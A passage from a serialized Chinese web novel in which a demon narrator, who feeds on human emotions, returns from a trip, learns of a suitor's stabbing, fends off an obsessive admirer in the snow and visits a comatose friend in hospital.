[邛浚(保持警惕)]:全部都被知道的话,岂不是?很快就会被丢掉,不行?,我要保持点?神秘感 [世界第一恶魔大人]:我很无聊,我要统治这?个世界 [邛浚(保持警惕)]:好嘞,可以?第一个收编我 [邛浚(保持警惕)]:最近无聊很正常啊,有两个人……啊不是?三个人退场了吧,不过他们都不是?什?么重要的角色,你身边不还有个玩具吗?多玩玩他吧 [世界第一恶魔大人]:你是?不是?在?偷东西,我有预感,你在?做坏事 [邛浚(保持警惕)]:我们果然是?最好的朋友 [邛浚(保持警惕)]:(照片)(照片) [邛浚(保持警惕)]:你怎么知道正在?努力偷东西中…… 照片像是?在?某个高档办公室里偷拍的,角落还意?外拍到了颜升被广角镜头?拉得有些变形的侧脸。 他正看向镜头?,嘴角那抹讥讽的笑意?几乎要溢出屏幕。 [邛浚(保持警惕)]:拍到了脏东西,哎呀,赶紧截掉 [邛浚(保持警惕)]:他昨天是?不是?给你送了花? [邛浚(保持警惕)]:那种没用的东西也拿得出手,简直是?掉价啊,果然是?个没用的东西 [世界第一恶魔大人]:那你在?做什?么有用的事吗? [邛浚(保持警惕)]:正在?努力啦~ [邛浚(保持警惕)]:快去找你的玩具吧,最近动?态停不下来?,这?种人最招粉丝讨厌哦 我退出聊天,点?开柯觅山的主页。 动?态刷得飞快,除了照片滤镜色调变得明?亮活泼了些,内容似乎也没什?么特别。 但仔细一看,最近几天,他发了快一百条,确实有点?停不下来?。 我翻了翻行?程表,明?天就是?约好一起出去玩的日子?,可以?暂时告别无聊的日常,去看看不同的风景。 我拍了拍还靠在?我肩上的哥哥,他松开手,缓缓坐直身体,脸上没什?么表情,只有眼睫垂下,在?眼下投出淡淡的阴影。 在?他起身走向卧室之前,他问了我最近的安排。 我告诉他,要和柯觅山出去旅行?几天。 他安静地听完,点?了点?头?,表情没有一丝波,只是?说:“好,我这?边的工作……也很快会结束。” 也不知道他到底在?工作些什?么,在?看不见他的时候,我对他的印象,似乎只剩下“工作”这?两个字。 出去旅行?很畅快,演唱会的录音被我往后推了推,车千亦发消息催促我放完假赶紧回来?。 我觉得世界需要多一点?乐趣,反正等演唱会结束,吸收够需要的情感,就可以?准备离开了,在?那之前,总得再?做点?什?么。 柯觅山的安排堪称完美?,从清晨睁眼到晚上闭眼,每一刻都被精准规划。 他好像有点?强迫症,计划表上的项目,就必须一一打卡完成。 我跟着他去了一个温暖僻静的小岛,晒着仿佛用不完的阳光,然后又飞往冰天雪地的北极圈,看极光在?冻原上空流淌成绿色的河,最后,按照他的计划去某个以?海豚闻名的海域。 然而,出发那天,毫无预兆地暴雨倾盆,行?程被迫取消。 肉眼可见地,他不高兴了。 尽管脸上还挂着那副训练有素的笑容,和工作人员沟通时语气也堪称温和,但回到房间,只剩下我们两人时,那笑容就像阳光下的薄冰,悄悄融化。 “……只能下次了。”他盯着窗外连绵的雨幕,语气里是?掩饰不住的失落。 我倒在?酒店柔软的大床上,宽慰道:“没办法嘛,天气的问题。” “但是?我明?明?查过,天气预报不该是?这?样的……寒流为什?么会突然转向经过这?边……” 柯觅山念念叨叨,停不下来?,拿出平板反复查看气象云图,又打电话试图寻找替代方案,仍然不肯认输。 “就待在?房间里呗,也可以?看海啊。” 我在?纪录片里看过海豚,心想大概也就那样。 “那不一样。” 他却很坚持:“亲眼看到、亲身感受到的,和隔着屏幕看,完全不一样,我不想最后留下的是?这?种充满遗憾的回忆。” 他说得郑重,仿佛下一秒就要剧情杀青似的,他自己也意?识到了,顿了顿,声音低了下去:“之前我们已经错过了太多时间,我现在?……想尽量补救回来?。” “一起躺着发呆,不也是?共享的时间吗?” 我拍了拍身边空出的位置。 他脸上的笑容终于挂不住了,彻底消失,嘴角甚至向下撇了撇,最后叹了口气。 柯觅山还是?听话地躺在?我旁边,隔着一小段距离,过了好一会儿,他才低声嘀咕:“昨天我妈给我发消息,说让我们有空过去一趟,她还想见见你。” 我好奇地问:“她在?哪儿?” “在?M国,发展得不错。” 他顿了顿:“最近她心情很好。彻底脱离家里那些烂摊子?,对她来?说是?解脱,事业也顺,比起我这?个手忙脚乱的新手,她做什?么都游刃有余。” “所以?,之前那件事到底是?什?么?”我问。 柯觅山侧过身看着我,眼中的光芒柔和地闪动?,轻轻笑了笑:“只不过是?我的一厢情愿和偏执而已,不是?什?么值得细说的大事,他们都选择了背叛婚姻,而我却只把矛头?对准了她,现在?我知道了,那时候的我,总是?在?做错误的选择,站在?错误的一边。” 我客观地评价:“知错就改,现在?这?样还不错。” 他躺平,安静地看着天花板,然后又忽然撑起上半身,目光灼灼地锁住我:“那么我呢?在?你心里,我有发生什?么变化吗?” “比以?前好。”我想了想,说,“是?个不讨厌的朋友了。” “朋友……也好。” 他盯着我,低声重复,然后低下头?,很轻地碰了碰我的嘴唇,一触即分:“如果这?样也能算朋友的话,那就一直这?样吧。” “你真的没有什?么第二人格吗?” 我往旁边滚了半圈,用研究新奇生物的眼神打量他:“还是?说被什?么奇怪的东西附体了?” “……我在?你心里到底是?什?么形象?” 我作势认真思考起来?:“大概就是?游戏里主角升到Lv.10左右会遇到的那种精英反派吧!有点?难打,但打完经验值不少的那种!” “……” 柯觅山抓住我的一只手,深蓝色的眼睛在?昏暗的室内光线下显得格外专注:“那记住现在?的我吧,现在?这?个……才是?真实的我。” “你讨人厌的时候也挺真实的。” “现在?还讨厌我吗?” “不。”我看着他回答。 窗外的海风呼啸,卷着雨点?敲打玻璃,透过模糊的窗,能看到晦暗天空下汹涌翻腾的海浪,猛烈拍打着黑色的礁石,几只海鸥在?风雨中狼狈地穿梭,奋力飞向未知的避风处。 在?这?一周的旅行?里,我看到了许多风景。 铺天盖地的冰雪、阳光下发烫的沙滩、岩石、贝壳、海鸥、企鹅…… 在?短短七天里,我几乎过上了那种可以?拍精致Vlog来?证明?自己又闲又有钱又有品的生活。 手机罕见地安静了许多。 大概都知道我在?度假,连消息也跟着一起放假了。 在?因为没看到海豚、即将回国的前一天,黎鸶的骚扰短信却依旧顽固地挤了进来?。 他是?唯一一个,在?这?段假期里仍坚持制造存在?感的家伙。 [未命名]:你打算什?么回来??已经离开一周,也该回来?了吧,不敢相信霍亦瑀竟然没有找你,他肯定是?被我制造的麻烦绊住了…… [未命名]:我最近发现了很多新的游戏,评分很高,我会直接送进你家里 [世界第一恶魔大人]:禁止私闯我家! [未命名]:你哥会给我开门?的,我们认识,他不会拒绝我的好意? [世界第一恶魔大人]:你等着吧,他只会听我的话 [未命名]:…… [未命名]:那等你回来?,我再?给你 [世界第一恶魔大人]:你之前不是?讨厌我吗?能不能回到那个状态? [未命名]:不 [未命名]:我从来?都没有讨厌过你 [未命名]:之前只是?因为一点?小问题而已,我可以?控制好自己 [世界第一恶魔大人]:那我讨厌你 [未命名]:可以? [未命名]:回来?记得通知我,不通知我也会来? [世界第一恶魔大人]:你去spa [未命名]:现在?还不行? 消息气得我恨不得穿过屏幕去咬他,这?人像是?另一个星球的生物,听不懂人话,看不懂文字! 我忽然对义务教育的重要性有了全新的体会,原来?当?个文化人是?这?种感觉。 柯觅山注意?到我视线,瞥向手机屏幕,眉头?微微皱紧:“这?个人是?……黎鸶?” “你认识?” 他嘴边的弧度微微降下,摇摇头?,“只是?听过名字而已,这?个人脑子?有病。” 我双手赞同。 “虽然我不想干涉你的社交,我也不是?那种控制欲强的人,但是?这?个人……你最好离远点?。” “就算我不在?意?,霍亦瑀也不会允许你和他接触的。” “你怎么知道他不知道呢?” 柯觅山顿了顿,但很快他收起表情,重新挂上习惯性的弧度,“这?种事,那就只有他自己知道了。” “就连我们,他都知道。” “你不会厌烦吗?这?种程度的注视。” “还好吧。”我说,“反正他又没有做什?么。” “……” 柯觅山没再?接话,而是?转头?望向窗外。暴雨中的海像一头?不断呼吸、起伏的巨兽,他轻轻地、长长地呼出一口气:“真想就在?这?里,忘记那些事情。” 他看向我,很快移开目光,低头?笑了下,“回国的话,你会记住这?段时间吗?” “记住现在?吧。”我说。 时间一晃而过。我们乘坐返程的飞机回国,这?次用的是?我名下的私人飞机。 我终于在?柯觅山面前进行?打脸市炫耀,他笑而不语,只是?拿起手机,对着窗外的云海和机舱内景拍了张照片,随手发在?了个人动?态里。 在?最后分别时,他站在?车边看着我,似乎想说什?么,嘴唇动?了动?,但最终只是?笑了笑,挥挥手,转身离开了。 一周的放假过去,我又要重新回到工作了,录音其实挺轻松的,反正不管我唱什?么,其他人都只会夸奖而已。 然而,回到家的第二天,出现了关于柯觅山的突发新闻。 只是?刚好调到了这?个台,一打开就是?新闻清频道。 新闻弹出之前,我刚坐在?沙发上,而哥哥在?厨房里忙碌着。 屏幕里的柯觅山仍然是?熟悉的,过去的那一周我已经快要看腻这?张脸,但在?镜头?里,他身姿挺拔,和曾经在?学?校看过的宣传片里几乎没有什?么变化,只是?更加成功,姿态更加高高在?上。 “今日下午,由?多家企业联合的新项目剪彩仪式进行?期间,突发意?外状况。一名不明?身份男子?手持利刃,突然冲破安保防线,冲向集团最大持股人柯觅山先生……” 画面切换,是?一张有些模糊的现场抓拍照片。 穿着西装的男人倒在?地上,一只手捂着脸颊,深色的液体从他指缝间不断渗出,蜿蜒流淌到光洁的地面上,像一条骤然绽开的、刺目的红色绸带。 哇哦。 我眨了下眼。 厨房里,碗筷被轻轻放下的声音,清晰可闻。 下一个来?得这?么快。 紧接着,握在?手里的手机开始疯狂地震动?起来?,嗡嗡声不绝于耳—— 作者有话说:最近事太多了,窝没有力气来修文了,等明天下午,窝必须重新振作!(挺胸) 总之现在是大乱斗期间! 第113章 最近的新闻一个比一个劲爆。虽然我看不?懂那些复杂的名词, 但根据标题上不?断加大加粗、恨不?得跳出?屏幕的字体?,可以肯定事情闹得很大。 从早上柯觅山出?事的新闻爆出?开始,手机就像中了病毒,各种消息、电话疯狂涌入。 认识的人, 半生不?熟的人, 还有那些无孔不?入的私生粉……全乱了套。 不?知道为什么, 私生粉们似乎笃定我和柯觅山在搞什么地下恋情,此刻正群情激愤,一边跳脚,一边又透着一股奇怪的不?安, 生怕我跟着做出?什么不?可预料的事。 虽然最近出?事频率的确有点高,不?过他?们都看到?了,有什么好解释的? 但车千亦说已经到?了紧迫时间了, 所以必须安排最近的一个采访,重?点谈谈演唱会的筹备和未来规划。 我仍然觉得没有必要。 私生们的消息总是很灵通,但既然他?们心里大概都有数,为什么还要执着于听我亲口说出?那些毫无意义的套话呢? 我去问了潜伏在私生群里的人。 [邛浚(保持警惕)]:自我欺骗啊。只要你愿意编织一个他?们想听的故事, 他?们就愿意闭着眼睛相信,所以赚钱多容易,说几句漂亮话,就有人心甘情愿上钩子 [世界第一恶魔大人]:但有时候又不?信, 所以, 你来说说, 在他?们眼里我到?底是什么形象 出?事的柯觅山总说, 我们对彼此有着不?同?的认知,在对方眼里是截然不?同?的形象。 为了扭转这?种刻板印象,所以我们一起出?去旅行?了, 然后,他?就出?事了。 对了,出?事之后,他?既没有给我发一条消息,也没有任何只言片语的解释。 如果不?是新闻铺天盖地,说不?定他?压根就没打算告诉我。 看现场流出?的照片,似乎伤到?了脸。 [邛浚(保持警惕)]:那就巧了,你的形象和黑粉的嘴里的那个高度重?合 [邛浚(保持警惕)]:他?们可是没有滤镜地爱着你哦 [邛浚(保持警惕)]:就像我一样,真感?动?啊,我果然应该待在这?里,我已经混上管理员了,下一步是当群主 [世界第一恶魔大人]:你知道这?次是谁干的吗? [邛浚(保持警惕)]:不?是意外吗? [邛浚(保持警惕)]:(小熊跳舞.gif) 看着屏幕上那个从五年前用到?现在的、像素有点模糊的跳舞小熊,我深刻怀疑是因为根本没人给他?发过别的表情包。 现在我仿佛身处一个蹩脚的侦探剧本里。 不?过,我是那个只知道震惊的委托人,偶尔会好奇凶手是谁,但绝对懒得起身去寻找任何线索。 侦探可是最累的职业之一,我只想躺着,等答案自己长腿跑到?我面前。 所以我关闭了手机,将?它扔到?沙发角落,整个人陷进柔软的靠垫里,看了一下午无聊的电视节目。 期间,打进电话的铃声从密集渐渐变得稀疏,最后,房间终于重?归寂静。 哥哥中途出?去了一趟,回来时,羽绒服的肩头落满了还未融化的雪花。 我这?才瞥向窗外,不?知何时,又下起了雪,冬天丝毫没有离开的预兆,雪花像扯碎的鹅毛,簌簌地、无声地铺满视野所及的一切,将?世界刷成一片单调的白。 “快要过年了。” 我十分捧场地点评道:“看样子,今年会下很多场雪。” 哥哥点点头,动?作麻利地将?带回来的东西分类,他?把桌上摊开的笔记本电脑轻轻合上,然后走到?厨房,打开冰箱,将?食材一样样放进去。 他?站在冰箱敞开的门前,停了一会,光影在他?侧脸上切割出?明暗。 他?问:“小冬,今天晚上你想吃点什么?” 这?种选择,应该由真正需要进食的人来决定吧。 我转过头,视线重?新粘在电视屏幕上:“你定吧,我都可以。” “麻婆豆腐可以吗?” “随便。” 他?低低嗯了一声,随后,背后传来清晰的水流声。 我转过头,看见?他?背对着我,站在料理台前洗菜,水流冲刷着叶片,他?的背影在空旷的厨房里,显得有点单薄,甚至孤零零的。 房子太大的一个坏处就是,它会反衬得人很渺小。 和巨大的冰箱、宽敞的沙发、一面墙那么大的柜子比起来,人类仿佛只是另一种可以自主移动?的家具。 等他?做好饭端上桌,我随便扒拉了两口,注意力又回到?手机上。 私生发来了新的消息,他?们似乎想办法溜进了医院,偷拍到?进医院的柯觅山。 照片角度刁钻,画质模糊,但能清楚地看到?大片刺目的猩红从他?捂住脸颊的指缝渗出?,滴落在地面上,他?的嘴唇苍白得吓人,仿佛一碰就碎。 私生注意到?我已读,立刻发来连珠炮般的消息,大致就是柯觅山已经毁容了,让我别再惦记丑男人,同?时极力撇清关系,说那个被当场抓获的凶手和他?们私生圈毫无瓜葛。 据警方初步调查,那人有精神病史,动?机成谜。 最后,对面小心翼翼地、带着点试探地问我要不要考虑去道士看看,或者请个大师做做法事,又或者想想自己有没有仇人。 如果要是说点什么,他?们好像会很愿意帮我收拾烂摊子,把所有事解决好似的。 但我本人就是恶魔,去找道士干嘛?中西合璧吗? 手机震动?两下,弹出?新的消息。 [宗伟朔大]:老板,我要请几天假 [宗伟朔大]:不?得不?信点玄学了,我打算去买几个开过光的挂件,避避邪 [世界第一恶魔大人]:要相信科学,相信警方通报,只是意外 [宗伟朔大]:骗你的,我只是单纯想回家歇几天 [世界第一恶魔大人]:好吧,准了 他?紧跟着又发来一条消息,但我还没看清具体?内容,就被他?迅速撤回了,视网膜上只残留下一闪而过的麦景两个字。 [世界第一恶魔大人]:? [宗伟朔大]:手滑 [宗伟朔大]:休假去了,这?段时间想见?我的话,可以直接说 我没回复,只是盯着屏幕看了几秒,忽然想起什么,朝厨房方向提高了声音:“哥,这?周抽个时间去医院吧。” 水流声停了。 “我想去看看浦真天。” 哥哥背对着我,站在料理台前,他?关上了水龙头,双手湿漉漉地撑在台面边缘,水珠顺着指尖缓缓滴落。 过了好一会儿,才传来他?低低的、几乎被抽油烟机余音吞没的应答:“……好。” 或许真有什么看不?见?的玄学力量在起作用。 我浏览着手机通讯录和社交软件,那些曾经会主动?跳出?来、喋喋不?休的联系人头像,似乎正在一个接一个地地灰暗下去。 下一个……会轮到?谁呢? “是不?是你在搞鬼?”我在心里问。 “不?是我。” 脑子里,天使的声音响起,平稳无波:“我还不?能进入这?个世界,只能借由你的眼睛进行?观察。” “那你观察出?什么了?” “有很多人。”他?一字一顿,认真得像在做学术报告,“很多很多人类。” 果然是笨蛋,不?是人类,难道还能是别的物种大规模聚集吗? 手机再次震动?,车千亦发来了后天采访的详细安排,那时,工作室官方账号会同?步官宣演唱会最终日期,合作的网络平台也会启动?宣传计划。 我手指滑动?,目光落在文?件末尾。 演唱会的日期,最终定在:3月20日。 距离现在,已经不?远了,我是不?是该开始想想,回去的时候带点什么土特产…… 在这?时,手机又开始了新一轮的、更剧烈的震动?。 一个没有存储名字的陌生号码打了进来,我本想直接挂断,但一条关联消息几乎同?时弹出?,来自那个被我备注为 [未命名] 的联系人。 黎鸶这?家伙又要开始了。 不?过他?以前只发消息,从没打过电话。这?次不?知道整什么新花样。 我按下了挂断键,倒想看看他?能坚持多久。 一个,两个,三?个…… 电话执拗地响着,间隔时间几乎固定,像某种设定好的程序,数字一路攀升,直到?逼近第九十九个,眼看就要突破三?位数大关。 仿佛只要我不?接,他?就会一直持续不?断地打下去。 最后我还是接通了。 话筒那边意外地安静了几秒,才传来一个声音,带着极力压抑却仍泄露出?一丝不?稳的颤抖。 他?努力想把声音压得平直低沉,但那细微的破绽还是被我捕捉到?了,背景里还有窸窸窣窣的杂音,像是踩在厚厚的、松脆的东西上。 他?说:“晚上好,现在有空吗?” 我看了眼屏幕,确定这?个人就是黎鸶,疑惑地说:“你是第三?人格发作了?是本人吗?我是不?会给你打钱的。” “只是礼貌的对话而已。” 听筒那边,他?似乎深吸了一口气?,那气?息声被放大,仿佛直接吹进了我的耳朵,带来一丝痒意。 他?接着说:“我在楼下。” 我走到?窗边,往外看去。鹅毛般的雪片正簌簌落下,我换到?另一扇朝向小区入口的窗户,俯身向下望去。 白茫茫的积雪中,果然立着一个几乎被雪覆盖的黑色身影,他?像是石头,固执地站在原地,手里还提着一个看起来不?小的纸袋。 他?抬头向上看来,露出?那张像是反派的脸。 他?的目光直直地锁定我所在的窗口,嘴里呼出?的白气?在寒冷的空气?中迅速消散。 即使隔着这?么远的距离,他?的声音却通过话筒,异常清晰地响在我耳边。 “我说了,要给你送礼物。” 我:“那你放门口吧。” 他?看着我,没动?,咧开嘴角露出?个物理上十分冰冷的笑,对着话筒说:“我要亲手交到?你的手里,如果你不?下来,我就不?走。” “你是不?是脑子有问题啊?”我忍不?住问。 “我的检查一切良好。” “肯定是你的心理医生为了巴结你,故意只给良好的评价。” 我只用眼睛就能判断出?他?的脑部问题,我也应该去个医生试试。 “你会对霍亦瑀说这?种话吗?” 黎鸶的声音通过电流传来,在寂静的雪夜里被无形地放大:“用这?样的语气?和他?说话。” “如果你想找他?,我可以帮你打电话。” “不?。”他?拒绝得没有丝毫犹豫,语气?淡淡地说,“我只想知道你的事。” “为什么?” 就像是一加二得出?了零这?样的答案,我始终搞不?明白他?在想什么,不?,要更加难一点,要用人和狗,地球人和外星人的形容才行?。 楼下的人依旧仰着头,纷扬的雪花不?断落在他?身上。 隔着迷蒙的雪幕和遥远的距离,他?的眼睛却仿佛捕捉到?了楼内的微光,一眨不?眨地看向我的方向。 “因为我看到?了你。” 他?说,停顿了一下,像是在斟酌用词,又像是某种艰难的坦白,“因为……我无法控制自己的心脏。” 我说:“可能心脏病。” “不?是。”他?简短地否认,停顿了片刻,他?重?重?地呼出?一大团白雾,那雾气?短暂地遮挡了他?的表情。 他?抬手,用没戴手套、已经冻得通红的手指,有些笨拙地擦了一下眉骨上积的雪:“是一见?钟情才对。” 我盯着楼下的人,隔着一段距离,他?像是颗稍微大一点的石头,伸出?手指就可以完全地丈量,合拢再弹开……他?还站在原地。 不?远处,那辆一直安静停着的黑色轿车里,走下一个同?样穿着黑西装的男人,手里拿着一把黑色的长柄伞,似乎是打算给他?送过去。 但黎鸶只是微微侧头看了一眼,那人便立刻停下脚步,恭敬地退回到?车边。 我想了想,最后还是套上外套,慢吞吞地下楼了。 外面的风很冷,我一打开门,就被吹得头发乱飞,眼睛眯起来。 黎鸶就站在我面前几步远的地方,雪已经在他?肩头积了薄薄一层,他?手里攥着那个纸袋,见?我出?来,似乎有些不?适应地将?袋子往我面前递了递。 他?视线看向旁边的灌木丛,语气?有些僵硬:“项链……我觉得很适合,还有之前提到?过的游戏卡带。” “价值多少?”我问。 “五千万。” 他?停顿片刻,收回手,将?项链拿了出?来,没有戴手套,手指红得像是胡萝卜,他?僵硬地弯曲手指,打开盒子,展示被好好保护在内部的、坚硬的宝石项链。 在晦暗的灯光下,它的色泽美丽,是红色的,像是一颗凝结的血液。 “像你。”他?说,目光终于转回来,落在我的脸上,似乎想观察我的反应。 我盯着它看来看去,疑惑地眨了下眼睛,转头说:“这?个不?重?要,你把游戏卡带拿出?来看看。” 他?嗯了一声,动?手取出?包装丑陋的卡带,呼出?白雾,说:“这?是双人游戏,如果你需要,我们可以一起玩。” 我抬眼看他?,他?像是被我的目光刺到?,下意识地微微向后仰了仰脖子,大衣领口松开了些,露出?下面那道横亘在脖颈上的、颜色略深的疤痕。 那道疤随着他?的动?作,在皮肤上显得格外清晰。 他?注意到?我的视线,身体?瞬间绷紧,僵在原地,没有继续后退,但眉头却隐隐皱了起来,不?像面对一个人,倒像在警惕一柄突然抵近喉间的匕首。 如果再接近一点,说不?定会露出?接受不?了快要吓得晕过去的模样。 我伸出?手。 他?猛地想要后退,身体?已经做出?了闪避的预备动?作,但最终,脚跟像钉在了雪地里,硬生生停住了。 直到?我触碰到?他?脸上的冰凉,像是一片雪花。 他?仿佛被烙铁烫到?,眉头紧紧拧成一团,喉结上下滚动?,声音紧绷:“你想打我?” 就算看起来再凶、再不?像正常人,脸颊上的肉也是软的。 不?存在因为形容词变成钢铁脸颊的可能性。 我收回手,顺势一把拿过他?手里的纸袋,耸了耸肩膀:“没什么。” 他?几乎是下意识地开口叫住我,目光执着地追随着我的动?作:“到?底是什么意思?” “去找霍亦瑀问吧。” 我挥挥手,没再回头,果断地关上门。 然后我快步跑上二楼,趴在窗边往下看,他?果然还站在原地,愣了几秒钟,然后抬手,用刚才被我碰过的那边脸颊,迟疑地摸了一下。 他?抬起头,似乎想寻找我的窗口。 我早有准备,朝他?做了个夸张的鬼脸。 他?脸上的神情混杂,在看清我的瞬间,松弛了一瞬,然后,他?居然不?明所以地、极轻微地勾了一下嘴角。 他?不?再停留,转过身,深一脚浅一脚地离开,在雪面留下一串清晰的脚印。 那辆顶棚积了雪的车,悄无声息地滑过来,接上他?,缓缓驶离。 我重?新窝回沙发里,打开纸袋,拿出?那盘游戏卡带,百无聊赖地翻来覆去看着。 要两个人才能玩的游戏……找不?到?人玩啊。 要是浦真天还在的话,他?一定可以很轻松地带我过关。 哥哥终于从厨房里走了出?来,他?眉头待在厨房里的时间比以前更久了,大概是想当个顶级大厨吧。 他?坐在我的旁边,隔着不?远不?近的一段距离。 我放下手里的卡带,随口问:“你怎么和黎鸶认识的?” “……在国?外。” 我有点惊讶:“原来你出?去过啊,为什么不?告诉我,我还想着带你出?去玩呢,原来你出?去过。” “只是出?差。” 他?立刻补充道:“我没有时间,也没有心思去看什么风景,我们是在一次商业合作中认识的,他?知道我,我也知道他?,但算不?上朋友,只是偶尔有业务往来,彼此知道名字的认识的人而已” 他?强调般重?申道:“只是这?样。” 越是这?么说,越是显得欲盖弥彰。 就像房间里那只大象,它不?仅存在,而且已经开始大摇大摆地吃香蕉了,而我,只需要移开视线,假装什么都没看见?。 “好吧。”我说。 我把卡带塞回袋子里,丢在桌面上。 哥哥的目光划过桌上的袋子,没有提及,而是轻声开口问道:“接下来,小冬有什么想做的吗?想要的也好……我们可以想想,一起想想未来的规划。” 我瘫在沙发上,说:“我要开演唱会。” “之后呢?” “没有了。” 我说:“开完演唱会就好了。” “……” “那我们之前的约定呢?”他?问,手指无意识地蜷缩了一下,“冬天结束之后,我们也去旅行?吧?就像你之前说过的那样,去享受你体?验过的东西,去看你看过的风景,只要是你想做的——” 他?的话语突兀地戛然而止,停顿几秒后,他?勾起唇角,平淡地笑了一声,短促又刻板:“……这?些,都等之后再说吧。” 我在思考一个问题。 如果他?早就看过、体?会那些东西了,我还需要遵守约定,再和一起去看那些东西吗? 离开之后,把东西都留给他?不?也是一样的吗? 像现在这?样要持续多久,房间里的大象越来越大,不?仅吃香蕉,最后还要吃人,总有一天会顶破房屋,变成高楼大厦一样庞大。 不?仅是大象,还有各种问题。 去哪里、要做什么、怎么想的……似乎不?想做点什么是被禁止的,人一定有想做的事,就算没有,也会被指定一个想要的。 在不?同?人的眼中,我有不?同?的欲望。 采访的时候,主持人按照流程走,询问我未来的打算,问我打不?打算来个十年计划,把演唱会一年一年地持续办下去,成为某种时代的印记。 而我应该说点让大家都高兴的事,按照台词上的那样,按照别人的想象那样。 不?过,我更喜欢说真话。 “今年之后可能不?会再有了。”我说,“我没有打算,也没有想法,如果说要想的话,唯一的想法是早点结束工作。” 镜头后站着的人里,我仿佛能听见?车千亦猛地倒吸一口凉气?的声音。 “早点结束吧。” 我说:“冬天还有其?他?的事。”—— 作者有话说:总之快点结束吧冬天! 哥哥处于一种分裂脑状态,在跟富哥较劲的同时很苦恼不知道到底应不应该发展成现在这样,但是一切已经停不下来,之前恨富哥恨了五年,已经变成心魔,一定把他除掉,但是和冬子的距离也拉远了,只能假装没有发生,但看到冬子身边出现各种人,心里那个难受,碍于普子的事,他良心不安,一直纠结反复 冬子把所有人的逼成紧绷的弦,但压根不懂为什么,唯一不紧绷的就是穷菌了,他本来就是什么都可以派,唯一的执念是向上爬,一定要站到高处,势必要把鲜花饼给搞了,这俩人最后1v1,看看胜利的人是谁,总之两个都不会好过的呵呵呵呵呵 前面两章还没有修……明天奋斗(!) 第114章 采访的事果然闹翻了天, 超话炸了,娱乐新闻头条轮番轰炸,但只要我不?点开那些软件,世界就还是?老样子, 仿佛什么都没发生。 在车千亦焦头烂额的时候, 我正和哥哥前?往医院, 去探望许久未见的浦真天。 距离上次来医院,其实没有过去多久。 医院和外面的雪地没什么分?别,到处都是?没有温度的白。 推开特护病房的门,里面静悄悄的, 浦真天的妹妹不?在,她?似乎知?道我们要来,特意留出了空间。 浦真天安静地躺在病床上, 像睡着了似的,各种粗细不?一的管子将他与旁边的生命维持设备连接在一起,屏幕上跳跃着规律的曲线和数字。 比起上次见面,他瘦了很多, 脸颊微微凹陷,倒是?彻底不?用担心减肥的问题了。 病房宽敞得像高级酒店套房,空气?里弥漫着消毒水味,但更清晰的是?那股熟悉的、甜滋滋的棉花糖气?息。 闻到这个味道, 我很惊讶, 原来即使失去了意识, 躺在这里, 他依然能持续不?断地生产情感作为我的食粮。 我一直以为,只有拥有清醒意识的存在才能提供稳定的食物来源。 没想到植物人?也?可以。 那如果所有人?都变成植物人?……岂不?是?可以像在温室里种菜一样,每天去摘点、吃点, 真的可以像以前?想的那样,把他们都集中地放在房间里。 真神奇。 我盯着浦真天的时间不?由得变长?了,试图透过这具沉睡的躯壳,看到内部究竟是?哪个部分?还在固执地、源源不?断地制造着那些甜腻的情感。 听说植物人?是?活在梦里的,他会梦到我吗?在那些漫长?的梦里,我是?什么样子? 旁边忽然传来玻璃杯碎裂的清脆声?响。 我抬眼看去,是?哥哥不?小心碰翻了床头柜上的水杯。 他立刻蹲下身去收拾碎片,动作很快,但地板上已经洇开了一小滩水迹,他盯着那滩水看了几秒,然后?抬起头看向我。 “我去找抹布。”他说。 我点点头,注意力重新回到浦真天身上。 虽然不?能陪我打游戏、说话了,但这副安安静静的样子,倒确实很乖顺,像个床上摆设。 不?过,照顾真正的植物人?可麻烦多了,他们不?是?种在地里浇浇水就能活的蔬菜,需要按摩、擦身等等呵护,繁琐得很。 只是?这么看看的话,倒还挺省心。 等哥哥拿着抹布回来时,我还在端详床上的浦真天。 他走到我身边,递给我一个装了温水的纸杯。 我接过来喝了一口?,放在旁边。 “他的事你不?用担心。” 哥哥的声?音在安静的病房里响起,有点轻,“我请了专业的护理团队,二十四?小时轮班,能保证他身体机能的维持……他妹妹那边,也?达成了协议,长?期照顾一个成年植物人?耗费巨大,精神和经济上都是?负担,之后?她?会回去正常工作,由护理人?员全权负责。” “我会补偿她?的,足够她?以后?生活无忧。”他补充道。 “那挺好。”我说。 如果回去的话,是?不?是?也?可以把那些麻烦的物种都转化成这种植物状态?我脑子里冒出一个堪称完美的新思路:为了防止每天都有人?找上门来,干脆全部无害化处理成植物人?好了…… 我正天马行空地想着,哥哥一直伫立在病床边,他的影子被灯光拉长?,斜斜地投在浦真天身上,像一块沉甸甸的、深色的毯子。 房间里安静得过分?,只有呼吸机规律而单调的运作声?,以及各种监护仪器偶尔发出短促的滴滴轻响。 等我终于观察够了,起身往外走。 在床边站了许久的哥哥也?迈开脚步跟上,或许是?因为保持同一个姿势太?久,他的动作显得有些微的迟缓和僵硬。 医院哪里都干净得过分?,光洁的地板能清晰地映出人?影,我低头,透过地面的反光,看到了身后?哥哥的样子。 不?再是?清晰的人?形,而像一团不?断翻涌、纠缠的乱麻。 浓稠的黑色情绪从他体内源源不?断地溢出、扩散,逐渐膨胀,几乎看不?出原本的轮廓。 只是?一眨眼的功夫,他就变成我认不?出来的形状了。 铺天盖地的黑雾遮蔽了他的神情,那团不?断变大的、两米多高的黑色怪物,沉默地跟在我身后?。 又怎么了? 在其他人?眼里他还是?正常的,和黑乎乎的哥哥交流的前台护士笑?容一如既往。 我百无聊赖地站在旁边,思考着什么时候车千亦会忙完最近舆论的事,然后?开始录音。 这时,一道熟悉的气?息涌进鼻腔,我转头看到穿得严严实实,只露出一张颓丧脸蛋的宗朔。 我迅速跑到他面前?,抬手打招呼,目光落在他胳膊下夹着的那个牛皮纸文件袋上:“好巧,终于不?是?在办公室见到你了。” 宗朔站定,视线顺着我的目光看向文件袋,嘴角扯了扯,脸上的表情被惯常的懒散神情取代:“不?巧,我知?道你来这了。” 他将文件袋换到另一只胳膊下夹着,下巴朝不?远处正在结账的人?扬了扬:“你哥看上去心情很不好。” 那团黑乎乎的东西,一看就知?道心情不?好吧。 我不?做点评。 “怎么,你们吵架了?” “不?知?道。” 我诚实地说:“像这种状态,既算不?上吵架,也?算不?是?矛盾。” 只是?不?断地拉开距离,变成需要用沙子填满的地步。 “男人?其实挺好懂的。”撩开额前?有点挡眼的刘海,语气?淡淡,“作为他的前?老板,我知?道他为什么心情不?好。” “你还记得上次吗?” “第一次因为泉卓逸闹进医院那回,他赶来时的表情可不?是?这样,那时候是?害怕,是?某种东西要被夺走的恐慌,但现在这张脸——” 